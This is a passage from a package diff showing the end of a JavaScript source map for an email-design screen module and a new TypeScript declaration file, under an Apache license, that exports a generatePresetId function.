}\n}\n"],"names":["createResourceUid","emailDesignDocuments","emailDesignStarterNodes","createEmailScreen","hostId","createScreen","createVersion","displayName","screenId","versionId","screen","version","nodes","sectionId","textId","resource","id","data","kind","parentId"],"mappings":";AAAA;;;;;;;;;;;;;;;CAeC,GAED,SAASA,iBAAiB,QAAQ,eAAc;AAChD,SACEC,oBAAoB,EACpBC,uBAAuB,QAClB,oCAAgC;AA6BvC;;;;;;;;;CASC,GACD,OAAO,eAAeC,kBACpBC,MAAc,EACdC,YAAkC,EAClCC,aAAkC,EAClCC,cAAc,gBAAgB;IAE9B,MAAMC,WAAWR;IACjB,MAAMS,YAAYT;IAClB,MAAM,EAAEU,MAAM,EAAEC,OAAO,EAAE,GAAGV,qBAAqB;QAC/CO;QACAC;QACAF;QACAK,OAAOV,wBAAwB;YAC7BW,WAAWb;YACXc,QAAQd;QACV;IACF;IACA,MAAMK,aAAa;QACjBD;QACAW,UAAU;QACVC,IAAIR;QACJS,MAAM,aAAKP;IACb;IACA,MAAMJ,cAAc;QAClBF;QACAc,MAAM;QACNC,UAAUX;QACVQ,IAAIP;QACJQ,MAAM,aAAKN;IACb;IACA,OAAO;QAAEH;QAAUC;IAAU;AAC/B"}

package/src/lib/utils/generate-preset-id.d.ts

@@ -0,0 +1,19 @@
+/**
+ * @license
+ * Copyright 2026 Aglyn LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import type { ComponentId } from '@aglyn/aglyn';
+export declare const generatePresetId: (componentId: ComponentId, ...other: string[]) => ComponentId;
+export default generatePresetId;